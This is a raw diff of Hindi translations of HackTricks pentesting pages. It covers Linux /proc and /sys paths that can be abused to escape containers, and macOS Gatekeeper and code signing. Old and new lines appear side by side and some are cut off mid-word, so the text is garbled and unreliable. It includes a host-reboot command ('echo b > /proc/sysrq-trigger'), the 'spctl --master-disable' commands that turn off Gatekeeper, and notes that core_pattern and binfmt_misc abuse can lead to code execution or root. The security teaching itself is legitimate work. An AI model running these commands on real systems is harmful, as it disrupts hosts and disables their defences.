* [core(5)](https://man7.org/linux/man-pages/man5/core.5.html) में वर्णित।
* कोर-फ़ाइल उत्पन्न होने पर पहले 128 बाइट को तार्किक रूप से निर्धारित करने की अनुमति देता है। यदि फ़ाइल पाइप `|` के साथ शुरू होती है, तो यह कोड निष्पादन में ले जा सकता है।
* **परीक्षण और दुरुपयोग उदाहरण**:
* पहले 128 बाइट के साथ कोर-फ़ाइल उत्पन्न करने पर कार्य को परिभाषित करने की अनुमति देता है। यदि फ़ाइल पाइप `|` के साथ शुरू होती है, तो यह कोड निष्पादन में ले जा सकता है।
* **परीक्षण और शोध उदाहरण**:
```bash
[ -w /proc/sys/kernel/core_pattern ] && echo Yes # लेखन पहुंच का परीक्षण करें
@ -44,28 +44,28 @@ sleep 5 && ./crash & # हैंडलर को ट्रिगर करें
#### **`/proc/sys/kernel/modprobe`**
* [proc(5)](https://man7.org/linux/man-pages/man5/proc.5.html) में विस्तार से वर्णित।
* कर्नेल मॉड्यूल लोड करने के लिए आमंत्रित करने वाले कर्नेल मॉड्यूल लोडर का पथ शामिल है।
* कर्नेल मॉड्यूल लोडर के पथ को समाहित करता है, जो कर्नेल मॉड्यूल लोड करने के लिए आह्वानित किया जाता है।
* **पहुंच की जांच उदाहरण**:
```bash
ls -l $(cat /proc/sys/kernel/modprobe) # modprobe क पहुंच की जांच करें
ls -l $(cat /proc/sys/kernel/modprobe) # modprobe क पहुंच की जांच करें
```
#### **`/proc/sys/vm/panic_on_oom`**
* [proc(5)](https://man7.org/linux/man-pages/man5/proc.5.html) में संदर्भित।
* एक वैश्विक ध्वनि जो कर्नेल पैनिक या OOM किलर को आमंत्रित करती है जब OOM स्थिति घटित होती है।
* एक वैश्विक ध्वनि जो कर्नेल पैनिक या OOM किलर को आम शर्त पर कैसे आह्वानित करता है।
#### **`/proc/sys/fs`**
* [proc(5)](https://man7.org/linux/man-pages/man5/proc.5.html) के अनुसार, फ़ाइल सिस्टम के बारे में विकल्प और जानकारी शामिल है।
* लेखन पहुंच से मेज़बान के खिलाफ विभिन्न सेवा अस्वीकृति हमले सक्षम हो सकते हैं
* लेखन पहुंच होस्ट के खिलाफ विभिन्न विभाजन-सेवा हमलों को सक्षम कर सकती है
#### **`/proc/sys/fs/binfmt_misc`**
* अपने मैजिक नंबर के आधार पर गैर-मूल बाइनरी प्रारूपों के लिए अनुप्रयोक्ताओं को पंजीकृत करने की अनुमति देता है।
* `/proc/sys/fs/binfmt_misc/register` लिखने योग्य होने पर विशेषाधिकार उन्नति या रूट शैली पहुंच देने की ओर ले जा सकता है।
* संबंधित दुरुपयोग और स्पष्टीकरण:
* अपने मैजिक नंबर के आधार पर गैर-मूलभूत बाइनरी प्रारूपों के लिए अनुप्रयो्ताओं को पंजीकृत करने की अनुमति देता है।
* `/proc/sys/fs/binfmt_misc/register` लिखने योग्य है तो विशेषाधिकार या रूट शैली पहुंच देने की संभावना है।
* संबंधित उत्पीड़न और स्पष्टीकरण:
* [binfmt\_misc के माध्यम से गरीब आदमी का रूटकिट](https://github.com/toffan/binfmt\_misc)
* विस्तृत ट्यूटोरियल: [वीडियो लिंक](https://www.youtube.com/watch?v=WBC7hhgMvQQ)
@ -73,72 +73,73 @@ ls -l $(cat /proc/sys/kernel/modprobe) # modprobe तक पहुंच की
#### **`/proc/config.gz`**
* यदि `CONFIG_IKCONFIG_PROC` सक्षम है, तो कर्नेल कॉन्फ़िगरेशन का पता लगा सकता है।
* चल रहे कर्नेल में दोषों की पहचान करने के लिए उपयोगी।
* यदि `CONFIG_IKCONFIG_PROC` सक्षम है, तो कर्नेल कॉन्फ़िगरेशन को उजागर कर सकता है।
* चल रहे कर्नेल में दुर्बलताओं की पहचान करने के लिए उपयोगी।
#### **`/proc/sysrq-trigger`**
* Sysrq कमांड को आमंत्रित करने की अनुमति देता है, जो तत्काल सिस्टम पुनरारंभ या अन्य महत्वपूर्ण क्रियाएँ का काण बन सकता है।
* **मेज़बान को पुनरारंभ करने का उदाहरण**:
* Sysrq कमांड को आह्वानित करने की अनुमति देता है, जो तत्काल सिस्टम पुनरारंभ या अन्य महत्वपूर्ण क्रियाएँ कर सकता है।
* **होस्ट को पुनरारंभ करने का उदाहरण**:
```bash
echo b > /proc/sysrq-trigger # मेज़बान को पुनरारंभ करता है
echo b > /proc/sysrq-trigger # होस्ट को पुनरारंभ करता है
```
#### **`/proc/kmsg`**
* कर्नेल रिंग बफर संदेशों को उजागर करता है।
* कर्नेल दोषों, पते फासवणियों में सहायक हो सकता है और संवेदनशील सिस्टम जानकारी प्रदान कर सकता है।
* कर्नेल उत्पीड़नों में सहायक हो सकता है, पते लीक कर सकता है, और संवेदनशील सिस्टम जानकारी प्रदान कर सकता है।
#### **`/proc/kallsyms`**
* कर्नेल निर्यातित चिन्हों और उनके पतों की सूची देता है।
* कर्नेल दोष विकास के लिए आवश्यक है, विशेषतः KASLR को पार करने के लिए।
* कर्नेल उत्पीड़न विकास के लिए आवश्यक है, विशेषतः KASLR को पार करने के लिए।
* पता सूचना `kptr_restrict` को `1` या `2` पर सेट करके प्रतिबंधित है।
* [proc(5)](https://man7.org/linux/man-pages/man5/proc.5.html) में विवरण।
#### **`/proc/[pid]/mem`**
* कर्नेल मेमोरी डिवाइस `/dev/mem` के साथ संवाद करता है।
* ऐतिहासिक रूप से विशेषाधिकार उन्नति हमलों के लिए विकल्प है।
* ऐतिहासिक रूप से दुर्बलता उन्नति हमलों के लिए विकल्प है।
* [proc(5)](https://man7.org/linux/man-pages/man5/proc.5.html) पर अधिक।
#### **`/proc/kcore`**
* एलएफ कोर प्रारूप में सिस्टम की भौतिक मेमोरी को प्रतिनिधित करता है।
* पढ़ने से मेज़बान सिस्टम और अन्य कंटेनरों की मेमोरी सामग्री लीक हो सकती है।
* बड़े फ़ाइल आकार से पढ़ने में समस्याएँ या सॉफ़्टवेयर क्रैश हो सकता है
* एलएफ कोर प्रारूप में सिस्टम की भौतिक मेमोरी को प्रतिनिधित करता है।
* पढ़ने से होस्ट सिस्टम और अन्य कंटेनरों की मेमोरी सामग्री लीक हो सकती है।
* बड़े फ़ाइल आकार पढ़ने में समस्याएँ या सॉफ़्टवेयर क्रैश कर सकती हैं
* [2019 में /proc/kcore को डंप करने का उपयोग](https://schlafwandler.github.io/posts/dumping-/proc/kcore/) में विस्तृत उपयोग।
#### **`/proc/kmem`**
* `/dev/kmem` के लिए वैकल्पिक इंटरफेस, कर्नेल वर्चुअल मेमोरी क प्रतिनिधित करता है।
* पढ़ने और लिखने की अनुमति देता है, इसलिए कर्नेल मेमोरी का सीधा संशोधन करने की अनुमति देता है।
* `/dev/kmem` के लिए वैकल्पिक इंटरफेस, कर्नेल वर्चुअल मेमोरी क प्रतिनिधित करता है।
* पढ़ने और लिखने की अनुमति देता है, इसलिए कर्नेल मेमोरी का सीधा संशोधन करने की संभावना है।
#### **`/proc/mem`**
* `/dev/mem` के लिए वैकल्पिक इंटरफेस, भौतिक मेमोरी का प्रतिनिधित करता ह
* `/dev/mem` के लिए वैकल्पिक इंटरफेस, भौतिक मेमोरी को प्रतिनिधित करता है।
* पढ़ने और लिखने की अनुमति देता है, सभी मेमोरी का संशोधन वर्चुअल से भौतिक पते तक पहुंचना आवश्यक है
#### **`/sys/class/thermal`**
* तापमान सेटिंग को नियंत्रित करता है, संभावित तौर पर DoS हमले या भौतिक क्षति का कारण बन सकता है।
* तापमान सेटिंग को नियंत्रित करता है, संभावित डीओएस हमले या भौतिक क्षति का कारण बन सकता है।
#### **`/sys/kernel/vmcoreinfo`**
* कर्नेल पतों को लीक कर सकता है, केएएसएलआर को कमजोर कर सकता है।
* कर्नेल पतों को लीक करता है, केएएसएलआर को कमजोर कर सकता है।
#### **`/sys/kernel/security`**
* `securityfs` इंटरफेस को होस्ट की तरह कॉन्फ़िगर करने की अनुमति देता है, जैसे AppArmor जैसे लिनक्स सुरक्षा मॉड्यूल।
* पहुंच एक कंटेनर को अपनी MAC सिस्टम को अक्षम करने की अनुमति दे सकती है।
* पहुंच एक कंटेनर को अपनी एमएसी प्रणाली को अक्षम करने की अनुमति दे सकती है।
#### **`/sys/firmware/efi/vars` और `/sys/firmware/efi/efivars`**
* NVRAM में EFI वेरिएबल्स के साथ इंटरैक्ट करने के लिए इंटरफेस उजागर करता है।
* गलत कॉन्फ़िगरेशन या शोषण लैपटॉप को ब्रिक करने या अनबूटेबल होस्ट मशीन की ओर ले जा सकता है।
* NVRAM में EFI वेरिएबल्स के साथ इंटरफेस उजागर करता है।
* गलत कॉन्फ़िगरेशन या शोषण ब्रिक्ड लैपटॉप या अनबूटेबल होस्ट मशीन की ओर ले जा सकता है।
#### **`/sys/kernel/debug`**
* `debugfs` कर्नेल के लिए "कोई नियम" डीबगिंग इंटरफेस प्रदान करता है।
* `debugfs` कर्नेल के लिए "कोई नियम" डीबग इंटरफेस प्रदान करता है।
* इसकी असीमित प्रकृति के कारण सुरक्षा समस्याओं का इतिहास है।
### संदर्भ
@ -147,7 +148,7 @@ echo b > /proc/sysrq-trigger # मेज़बान को पुनरार
* [Understanding and Hardening Linux Containers](https://research.nccgroup.com/wp-content/uploads/2020/07/ncc\_group\_understanding\_hardening\_linux\_containers-1-1.pdf)
* [Abusing Privileged and Unprivileged Linux Containers](https://www.nccgroup.com/globalassets/our-research/us/whitepapers/2016/june/container\_whitepaper.pdf)
<figure><img src="../../../../.gitbook/assets/WebSec_1500x400_10fps_21sn_lightoptimized_v2.gif" alt=""><figcaption></figcaption></figure>
<figure><img src="../../../..https://pentest.eu/RENDER_WebSec_10fps_21sec_9MB_29042024.gif" alt=""><figcaption></figcaption></figure>
{% embed url="https://websec.nl/" %}

View file

@ -1,45 +1,46 @@
# macOS Gatekeeper / Quarantine / XProtect
# macOS गेटकीपर / क्वारंटाइन / एक्सप्रोटेक्ट
<details>
<summary><strong>ीरो से हीरो तक AWS हैकिंग सीखें</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a> <strong>के साथ!</strong></summary>
<summary><strong>ानें AWS हैकिंग को शून्य से हीरो तक</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong> के साथ!</strong></summary>
* क्या आप **साइबर सुरक्षा कंपनी** में काम करते हैं? क्या आप अपनी **कंपनी को HackTricks में विज्ञापित** देखना चाहते हैं? या क्या आपको **PEASS के नवीनतम संस्करण या HackTricks को PDF में डाउनलोड करने का एक्सेस** चाहिए? [**सब्सक्रिप्शन प्लान्स**](https://github.com/sponsors/carlospolop) की जाँच करें!
* क्या आप **साइबर सुरक्षा कंपनी** में काम करते हैं? क्या आप अपनी **कंपनी का हैकट्रिक्स में विज्ञापन देखना चाहते हैं**? या क्या आपको **PEASS के नवीनतम संस्करण या हैकट्रिक्स को पीडीएफ में डाउनलोड करने का एक्सेस** चाहिए? [**सब्सक्रिप्शन प्लान्स**](https://github.com/sponsors/carlospolop) की जाँच करें!
* [**दी पीएस फैमिली**](https://opensea.io/collection/the-peass-family) की खोज करें, हमारा विशेष [**एनएफटीज़**](https://opensea.io/collection/the-peass-family) संग्रह
* [**आधिकारिक PEASS और HackTricks स्वैग**](https://peass.creator-spring.com) प्राप्त करें
* **शामिल हों** [**💬**](https://emojipedia.org/speech-balloon/) **डिस्कॉर्ड समूह**]\(https://discord.gg/hRep4RUj7f) या **टेलीग्राम समूह** या मुझे **ट्विटर** पर फॉलो करें 🐦[**@carlospolopm**](https://twitter.com/hacktricks\_live)**।**
* **अपने हैकिंग ट्रिक्स साझा करें, हैकट्रिक्स रेपो**]\(https://github.com/carlospolop/hacktricks) **और** [**हैकट्रिक्स-क्लाउड रेपो**](https://github.com/carlospolop/hacktricks-cloud) **को PR जमा करके**
*
* .
* [**आधिकारिक पीएस और हैकट्रिक्स स्वैग**](https://peass.creator-spring.com) प्राप्त करें
* **शामिल हों** [**💬**](https://emojipedia.org/speech-balloon/) [**डिस्कॉर्ड ग्रुप**](https://discord.gg/hRep4RUj7f) या [**टेलीग्राम ग्रुप**](https://t.me/peass) या मुझे **ट्विटर** पर फॉलो करें 🐦[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **अपने हैकिंग ट्रिक्स साझा करें, हैकट्रिक्स रेपो** में PRs सबमिट करके **और** [**हैकट्रिक्स-क्लाउड रेपो**](https://github.com/carlospolop/hacktricks-cloud) **को** देखें
</details>
<figure><img src="https://pentest.eu/RENDER_WebSec_10fps_21sec_9MB_29042024.gif" alt=""><figcaption></figcaption></figure>
{% embed url="https://websec.nl/" %}
## गेटकीपर
**गेटकीपर** एक सुरक्षा सुविधा है जो मैक ऑपरेटिंग सिस्टम के लिए विकसित की गई है, जिसका उद्देश्य यह सुनिश्चित करना है कि उपयोगकर्ता उनके सिस्टम पर **केवल विश्वसनीय सॉफ़्टवेयर** चलाएं। यह उपयोगकर्ता द्वारा डाउनलोड और खोलने की कोशिश की गई सॉफ़्टवेयर की **पुष्टि** करके काम करता है जो **एप्प स्टोर के बाहर स्रोतों** से आता है, जैसे कोई एप्प, प्लग-इन, या इंस्टॉलर पैकेज।
**गेटकीपर** एक सुरक्षा सुविधा है जो मैक ऑपरेटिंग सिस्टम के लिए विकसित की गई है, जिसका उद्देश्य यह सुनिश्चित करना है कि उपयोगकर्ता उनके सिस्टम पर **केवल विश्वसनीय सॉफ़्टवेयर चलाएं**। यह उपयोगकर्ता द्वारा डाउनलोड किया और खोलने का प्रयास किया गया सॉफ़्टवेयर **जैसे कि एक ऐप, एक प्लग-इन, या एक इंस्टॉलर पैकेज** से **बाहरी स्रोतों से**
गेटकीपर की मुख्य तंत्रिका उसकी **सत्यापन** प्रक्रिया में है। यह यह जांचता है कि डाउनलोड की गई सॉफ़्टवेयर **किसी मान्यता प्राप्त डेवलपर द्वारा साइन की गई** है, सुनिश्चित करते हुए कि सॉफ़्टवेयर की प्रामाणिकता है। इसके अतिरिक्त, यह सुनिश्चित करता है कि क्या सॉफ़्टवेयर **एप्पल द्वारा नोटराइज़्ड** है, जिससे साबित होता है कि इसमें किसी जाने-माने हानिकारक सामग्री की कमी है और नोटराइज़ेशन के बाद इसमें हस्तक्षेप नहीं किया गया है।
गेटकीपर की मुख्य तंत्रिका उसकी **सत्यापन** प्रक्रिया में है। यह यह जांचता है कि डाउनलोड किया गया सॉफ़्टवेयर **किसी मान्यता प्राप्त डेवलपर द्वारा साइन किया गया है**, सॉफ़्टवेयर की प्रामाणिकता सुनिश्चित करते हुए। इसके अतिरिक्त, यह सुनिश्चित करता है कि क्या सॉफ़्टवेयर **एप्पल द्वारा नोटराइज़्ड** है, जिससे यह साबित होता है कि इसमें किसी जाने-माने हानिकारक सामग्री की कमी है और नोटराइज़ेशन के बाद इसमें हस्तक्षेप नहीं किया गया है।
इसके अतिरिक्त, गेटकीपर उपयोगकर्ता नियंत्रण और सुरक्षा को मजबूत करता है जिसके द्वारा यह सुनिश्चित करता है कि उपयोगकर्ता **पहली बार डाउनलोड की गई सॉफ़्टवेयर को खोलने की** मंजूरी देता है। यह सुरक्षा उपाय उपयोगकर्ताओं को ऐसे पोटेंशियली हानिकारक एक्झीक्यूटेबल कोड को भूलकर भी चलाने से रोकती है जिसे वे एक अहानिय डेटा फ़ाइल समझ सकते हैं
इसके अतिरिक्त, गेटकीपर उपयोगकर्ता नियंत्रण और सुरक्षा को मजबूत करता है जिससे डाउनलोड किए गए सॉफ़्टवेयर को पहली बार खोलने की **मंजूरी देने के लिए उपयोगकर्ताओं को प्रोत्साहित** किया जाता है। यह सुरक्षा उपाय उपयोगकर्ताओं को विश्वसनीय डेटा फ़ाइल के रूप में गलती से हानिकारक एक्झीक्यूटेबल को चलाने से रोकने में मदद करती है
### एप्लिकेशन हस्ताक्षर
एप्लिकेशन हस्ताक्षर, जिन्हें कोड हस्ताक्षर भी कहा जाता है, एप्पल की सुरक्षा बुनियाद का एक महत्वपूर्ण घटक है। इनका उपयोग सॉफ़्टवेयर लेखक (डेवलपर) की पहचान की **पुष्टि करने** और सुनिश्चित करने के लिए किया जाता है कि कोड उस समय से जब आखिरी बार साइन किया गया था, उसमें कोई हस्तक्षेप नहीं किया गया है।
एप्लिकेशन हस्ताक्षर, जिन्हें कोड हस्ताक्षर भी कहा जाता है, एप्पल की सुरक्षा बुनियाद का एक महत्वपूर्ण घटक है। इनका उपयोग सॉफ़्टवेयर लेखक (डेवलपर) की पहचान **सत्यापित करने** और यह सुनिश्चित करने के लिए किया जाता है कि कोड उस समय से जब आखिरी बार साइन किया गया था, उसमें कोई हस्तक्षेप नहीं किया गया है।
यह कैसे काम करता है:
1. **एप्लिकेशन को साइन करना:** जब एक डेवलपर अपने एप्लिकेशन को वितरित करने के लिए तैयार होता है, तो वह **एप्लिकेशन को एक निजी कुंजी का उपयोग करके साइन करता है**। यह निजी कुंजी एक प्रमाणपत्र से संबंधित है जिसे डेवलपर को जब वह एप्पल डेवलपर प्रोग्राम में नामांकित होते हैं, तो एप्पल द्वारा जारी किया जाता है। साइनिंग प्रक्रिया में एप्लिकेशन के सभी हिस्सों का एक क्रिप्टोग्राफिक हैश बनाना और इस हैश को डेवलपर की निजी कुंजी के साथ एन्क्रिप्ट करना शामिल है।
2. **एप्लिकेशन को वितरित करना:** साइन की गई एप्लिकेशन को उपयोगकर्ताओं के साथ डेवलपर के प्रमाणपत्र के साथ वितरित किया जाता है, जिसमें संबंधित पब्लिक कुंजी होती है।
3. **एप्लिकेशन की सत्यापन:** जब एक उपयोगकर्ता एप्लिकेशन को डाउनलोड करता है और चलाने की कोशिश करता है, तो उनका मैक ऑपरेटिंग सिस्टम डेवलपर के प्रमाणपत्र से पब्लिक कुंजी का उपयोग करता है हैश को डिक्रिप्ट करने के लिए। फिर यह हैश को पुनः गणना करता है एप्लिकेशन की वर्तमान स्थिति के आधार पर और इसे डिक्रिप्ट किए गए हैश के साथ तुलना करता है। यदि वे मिलते हैं, तो इसका मतलब है कि **एप्लिकेशन में कोई परिवर्तन नहीं** किया गया है जब से डेवलपर ने इसे साइन किया था, और सिस्टम एप्लिकेशन को चलाने की अनुमति देता है।
1. **एप्लिकेशन को साइन करना:** जब एक डेवलपर अपने एप्लिकेशन को वितरित करने के लिए तैयार होता है, वह **एप्लिकेशन को एक निजी कुंजी का उपयोग करके साइन करता है**। यह निजी कुंजी एक प्रमाणपत्र से संबंधित है जिसे डेवलपर को जब वह एप्पल डेवलपर प्रोग्राम में नामांकित होते हैं, तो एप्पल जारी करता है। साइनिंग प्रक्रिया में एप्लिकेशन के सभी हिस्सों का एक और्ध्वगति हैश बनाना और इस हैश को डेवलपर की निजी कुंजी के साथ एन्क्रिप्ट करना शामिल है।
2. **एप्लिकेशन को वितरित करना:** साइन किए गए एप्लिकेशन को उपयोगकर्ताओं के साथ डेवलपर के प्रमाणपत्र के साथ वितरित किया जाता है, जिसमें संबंधित पब्लिक कुंजी होती है।
3. **एप्लिकेशन की सत्यापन:** जब एक उपयोगकर्ता एप्लिकेशन को डाउनलोड करता है और चलाने का प्रयास करता है, तो उनका मैक ऑपरेटिंग सिस्टम डेवलपर के प्रमाणपत्र से पब्लिक कुंजी का उपयोग करके हैश को डिक्रिप्ट करता है। फिर यह हैश पुनः गणना करता है आधारित हैश को और इसे डिक्रिप्ट किए गए हैश के साथ तुलना करता है। यदि वे मिलते हैं, तो इसका मतलब है कि **एप्लिकेशन में कोई परिवर्तन नहीं** किया गया है जब से डेवलपर ने इसे साइन किया था, और सिस्टम एप्लिकेशन को चलाने की अनुमति देता है।
एप्लिकेशन हस्ताक्षर एप्पल के गेटकीपर प्रौद्योगिकी का एक महत्वपूर्ण हिस्सा है। जब एक उपयोगकर्ता **इंटरनेट से डाउनलोड की गई एप्लिकेशन को खोलने की** कोशिश करता है, तो गेटकीपर एप्लिकेशन हस्ताक्षर की सत्यापन करता है। यदि यह एप्पल द्वारा एक जाने-माने डेवलपर को जारी किए गए प्रमाणपत्र से साइन किया गया है और कोड में कोई हस्तक्षेप नहीं किया गया है, तो गेटकीपर एप्लिकेशन को चलाने की अनुमति देता है। अन्यथा, यह एप्लिकेशन को ब्लॉक करता है और उपयोगकर्ता को चेतावनी देता है।
एप्लिकेशन हस्ताक्षर एप्पल के गेटकीपर प्रौद्योगिकी का एक महत्वपूर्ण हिस्सा है। जब एक उपयोगकर्ता **इंटरनेट से डाउनलोड किए गए एप्लिकेशन को खोलने का प्रयास करता है**, तो गेटकीपर एप्लिकेशन हस्ताक्षर की सत्यापन करता है। यदि यह एप्पल द्वारा एक जाने-माने डेवलपर को जारी किए गए प्रमाणपत्र से साइन किया गया है और कोड में कोई हस्तक्षेप नहीं किया गया है, तो गेटकीपर एप्लिकेशन को चलाने की अनुमति देता है। अन्यथा, यह एप्लिकेशन को ब्लॉक करता है और उपयोगकर्ता को चेतावनी देता है।
मैकओएस कैटालिना से शुरू होकर, **गेटकीपर यह भी जांचता है कि क्या एप्लिकेशन को एप्पल द्वारा नोटराइज़्ड** किया गया है, जो एक अतिरिक्त सुरक्षा स्तर जोड़ता है। नोटराइज़ेशन प्रक्रिया एप्लिकेशन को जाने-माने सुरक्षा समस्याओं और हानिकारक कोड के लिए जांचती है, और यदि ये जांचें पास होती हैं, तो एप्पल एप्लिकेशन में एक टिकट जोड़ता है जिसे गेटकीपर सत्यापित कर सकता है।
#### हस्ताक्षरों की जांच
किसी \*\*मैलवेयर नमूने
किसी **म
```bash
# Get signer
codesign -vv -d /bin/ls 2>&1 | grep -E "Authority|TeamIdentifier"
@ -56,36 +57,32 @@ spctl --assess --verbose /Applications/Safari.app
# Sign a binary
codesign -s <cert-name-keychain> toolsdemo
```
### स्वीकृति
### नोटराइजेशन
एप्पल की स्वीकृति प्रक्रिया उपयोगकर्ताओं को संभावित हानिकारक सॉफ़्टवेयर से सुरक्षित रखने के लिए एक अतिरिक्त सुरक्षा प्रावधान के रूप में काम करती है। इसमें **डेवलपर अपने एप्लिकेशन को एप्पल की नोटरी सेवा** के द्वारा **जांच के लिए प्रस्तुत** करता है, जिसे एप्प रिव्यू से भिन्न नहीं किया जाना चाहिए। यह सेवा एक **स्वचालित प्रणाली** है जो प्रस्तुत सॉफ़्टवेयर को **हानिकारक सामग्री** और कोड-साइनिंग के साथ किसी भी संभावित समस्याओं के लिए जांचती है।
एप्पल की नोटराइजेशन प्रक्रिया उपयोगकर्ताओं को संभावित हानिकारक सॉफ्टवेयर से सुरक्षित रखने के लिए एक अतिरिक्त सुरक्षा प्रावधान के रूप में काम करती है। इसमें **डेवलपर अपने एप्लिकेशन को एप्पल की नोटरी सेवा** के द्वारा **जांच के लिए प्रस्तुत** करता है, जिसे एप्प रिव्यू से भिन्न नहीं किया जाना चाहिए। यह सेवा एक **स्वचालित प्रणाली** है जो प्रस्तुत सॉफ्टवेयर को **हानिकारक सामग्री** और कोड-साइनिंग के साथ किसी भी संभावित मुद्दों के लिए जांचती है।
यदि सॉफ़्टवेयर **इस जांच में सफलता प्राप्त** करता है और कोई भी चिंता नहीं उठाता है, तो नोटरी सेवा एक स्वीकृति टिकट उत्पन्न करती है। उसके बाद डेवलपर को अपने सॉफ़्टवेयर के साथ इस टिकट को **जोड़ना अनिवार्य होता है**, जिसे 'स्टैप्लिंग' कहा जाता है। इसके अतिरिक्त, स्वीकृति टिकट को भी ऑनलाइन प्रकाशित किया जाता है जहां गेटकीपर, एप्पल की सुरक्षा प्रौद्योगिकी, इसे एक्सेस कर सकती है।
यदि सॉफ्टवेयर **इस जांच में सफलता** प्राप्त करता है बिना किसी चिंता को उठाए, तो नोटरी सेवा एक नोटराइजेशन टिकट उत्पन्न करती है। उसके बाद डेवलपर को अपने सॉफ्टवेयर के साथ इस टिकट को **जोड़ना अनिवार्य होता है**, जिसे 'स्टैप्लिंग' कहा जाता है। इसके अतिरिक्त, नोटराइजेशन टिकट को भी ऑनलाइन प्रकाशित किया जाता है जहाँ Gatekeeper, एप्पल की सुरक्षा प्रौद्योगिकी, इसे एक्सेस कर सकती है।
उपयोगकर्ता के पहले सॉफ्टवेयर के स्थापना या अभिव्यक्ति पर, नोटराइजेशन टिकट की मौजूदगी - क्या एक्जीक्यूटेबल के साथ स्टैपल किया गया है या ऑनलाइन मिला है - Gatekeeper को सूचित करती है कि सॉफ्टवेयर को एप्पल द्वारा नोटराइज़ किया गया है। इस परिणामस्वरूप, Gatekeeper प्रारंभिक लॉन्च संवाद में विवरणात्मक संदेश प्रदर्शित करता है, जिसमें उक्त है कि सॉफ्टवेयर को एप्पल द्वारा हानिकारक सामग्री की जांच के लिए जांचा गया है। इस प्रक्रिया से उपयोगकर्ता की विश्वासयोग्यता सॉफ्टवेयर में बढ़ जाती है जिसे वे अपने सिस्टम पर स्थापित या चलाते हैं।
उपयोगकर्ता के पहले सॉफ़्टवेयर के स्थापना या उसके निष्पादन पर, नोटरीकरण टिकट की मौजूदगी - चाहे वह एक्जीक्यूटेबल के साथ स्टैपल किया गया हो या ऑनलाइन पाया जाए - गेटकीपर को सूचित करती है कि सॉफ़्टवेयर को एप्पल द्वारा स्वीकृत किया गया है। इस परिणामस्वरूप, गेटकीपर प्रारंभिक लॉन्च संवाद में एक विवरणात्मक संदेश प्रदर्शित करता है, जिससे स्थापित होता है कि उपयोगकर्ता उनके सिस्टम पर स्थापित या चलाए गए सॉफ़्टवेयर की सुरक्षा की जांच की गई है।
### गेटकीपर की गणना
गेटकीपर एक साथ है, **कई सुरक्षा घटक** जो अविश्वसनीय ऐप्स को निषेधित होने से रोकते हैं और एक सुरक्षा घटक भी है
गेटकीपर एक है, **कई सुरक्षा घटक** जो अविश्वसनीय ऐप्स को निष्पादित होने से रोकते हैं और एक है, **उनमें से एक घटक**
गेटकीपर की **स्थिति** देखना संभव है:
```bash
# Check the status
spctl --status
```
{% hint style="danger" %}
ध्यान दें कि GateKeeper हस्ताक्षर जांच केवल **क्वारंटाइन विशेषता वाले फ़ाइलों** के साथ की जाती है, हर फ़ाइल के साथ नहीं।
ध्यान दें कि GateKeeper हस्ताक्षर जांच केवल **क्वारंटाइन विशेषता वाले फ़ाइलों** पर की जाती है, हर फ़ाइल पर नहीं।
{% endhint %}
GateKeeper यह जांचेगा कि **प्राथमिकताओं और हस्ताक्षर** के अनुसार क्या एक बाइनरी को क्रियान्वित किया जा सकता है:
GateKeeper यह जांचेगा कि **प्राथमिकताओं और हस्ताक्षर** के अनुसार क्या एक बाइनरी क्रियान्वित किया जा सकता है:
<figure><img src="../../../.gitbook/assets/image (678).png" alt=""><figcaption></figcaption></figure>
इस विन्यास को रखने वाला डेटाबेस **`/var/db/SystemPolicy`** में स्थित है। आप इस डेटाबेस की जांच रूट के रूप में कर सकते हैं:
<figure><img src="../../../.gitbook/assets/image (1147).png" alt=""><figcaption></figcaption></figure>
इस कॉन्फ़िगरेशन को रखने वाला डेटाबेस **`/var/db/SystemPolicy`** में स्थित है। आप इस डेटाबेस को रूट के रूप में चेक कर सकते हैं:
```bash
# Open database
sqlite3 /var/db/SystemPolicy
@ -99,12 +96,10 @@ anchor apple generic and certificate leaf[field.1.2.840.113635.100.6.1.9] exists
anchor apple generic and certificate 1[field.1.2.840.113635.100.6.2.6] exists and (certificate leaf[field.1.2.840.113635.100.6.1.14] or certificate leaf[field.1.2.840.113635.100.6.1.13]) and notarized|1|0|Notarized Developer ID
[...]
```
नोट करें कि पहला नियम "**App Store**" में समाप्त हुआ था और दूसरा "**Developer ID**" में और पिछली छवि में ऐसा था कि **App Store और पहचानी गए डेवलपर्स से ऐप्स को चलाने की अनुमति थी**।\
नोट करें कि पहला नियम "**App Store**" में समाप्त हुआ और दूसरा "**Developer ID**" में और पिछले इमेज में यह **App Store और पहचाने गए डेवलपर्स से ऐप्स को चलाने की सक्षमता** थी।\
अगर आप उस सेटिंग को App Store पर **संशोधित** करते हैं, तो "**Notarized Developer ID" नियम हट जाएंगे**।
**GKE प्रकार के हजारों नियम भी हैं**:
**GKE प्रकार** के हजारों नियम भी हैं:
```bash
SELECT requirement,allow,disabled,label from authority where label = 'GKE' limit 5;
cdhash H"b40281d347dc574ae0850682f0fd1173aa2d0a39"|1|0|GKE
@ -113,17 +108,13 @@ cdhash H"4317047eefac8125ce4d44cab0eb7b1dff29d19a"|1|0|GKE
cdhash H"0a71962e7a32f0c2b41ddb1fb8403f3420e1d861"|1|0|GKE
cdhash H"8d0d90ff23c3071211646c4c9c607cdb601cb18f"|1|0|GKE
```
ये हैश हैं जो **`/var/db/SystemPolicyConfiguration/gke.bundle/Contents/Resources/gke.auth`, `/var/db/gke.bundle/Contents/Resources/gk.db`** और **`/var/db/gkopaque.bundle/Contents/Resources/gkopaque.db`** से आते हैं
या आप पिछली जानकारी को निम्नलिखित के साथ सूचीबद्ध कर सकते हैं:
```bash
sudo spctl --list
```
विकल्प **`--master-disable`** और **`--global-disable`** का उपयोग करके **`spctl`** पूरी तरह से इन हस्ताक्षर जांचों को **अक्षम** कर देगा:
विकल्प **`--master-disable`** और **`--global-disable`** का उपयोग **`spctl`** करके इन हस्ताक्षर जांचों को पूरी तरह से **अक्षम** कर देगा:
```bash
# Disable GateKeeper
spctl --global-disable
@ -133,19 +124,15 @@ spctl --master-disable
spctl --global-enable
spctl --master-enable
```
जब पूरी तरह से सक्षम हो जाए, तो एक नया विकल्प दिखाई देगा:
<figure><img src="../../../.gitbook/assets/image (679).png" alt=""><figcaption></figcaption></figure>
यह **जांचना संभव है कि क्या गेटकीपर द्वारा किसी ऐप को अनुमति दी जाएगी** के साथ:
<figure><img src="../../../.gitbook/assets/image (1148).png" alt=""><figcaption></figcaption></figure>
GateKeeper द्वारा क्या किसी ऐप को अनुमति दी जाएगी यह जांचना संभव है:
```bash
spctl --assess -v /Applications/App.app
```
